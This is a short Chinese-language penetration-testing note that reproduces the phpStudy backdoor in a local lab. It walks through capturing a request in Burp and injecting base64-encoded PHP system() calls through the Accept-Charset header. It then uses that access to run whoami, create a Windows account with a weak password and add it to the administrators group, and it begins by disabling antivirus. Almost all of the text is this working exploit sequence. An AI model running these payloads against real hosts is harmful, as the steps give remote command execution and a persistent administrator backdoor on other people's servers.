渗透笔记之phpstudy后门的一次复现

渗透笔记之phpstudy后门的一次复现

1.把杀毒软件关闭，防止把后门删除。
2.安装好phpstudy和BURP
3.运行phpstudy

4.打开cmd–执行命令Ipconfig–查找到无线网ip

5.打开自己搭建网站，输入无线ip地址10.2.96.58

6.打开BURP抓包

7.浏览器设置本机代理（谷歌）

8.浏览器重新发送请求，抓包

9.点击重发器

10.需要把两个空格删掉

11.添加Accept-Charset:system(“whoami”);并对system(“whoami”);进行base64编码

发送查看结果

12.使用命令添加用户（命令：net user 账号 密码 /add）
对system(“net user shenlian 123123 /add”); 进行base64编码

13.执行net user命令查看用户

14.执行 net localgroup administrators 账户名 /add 给予管理员权限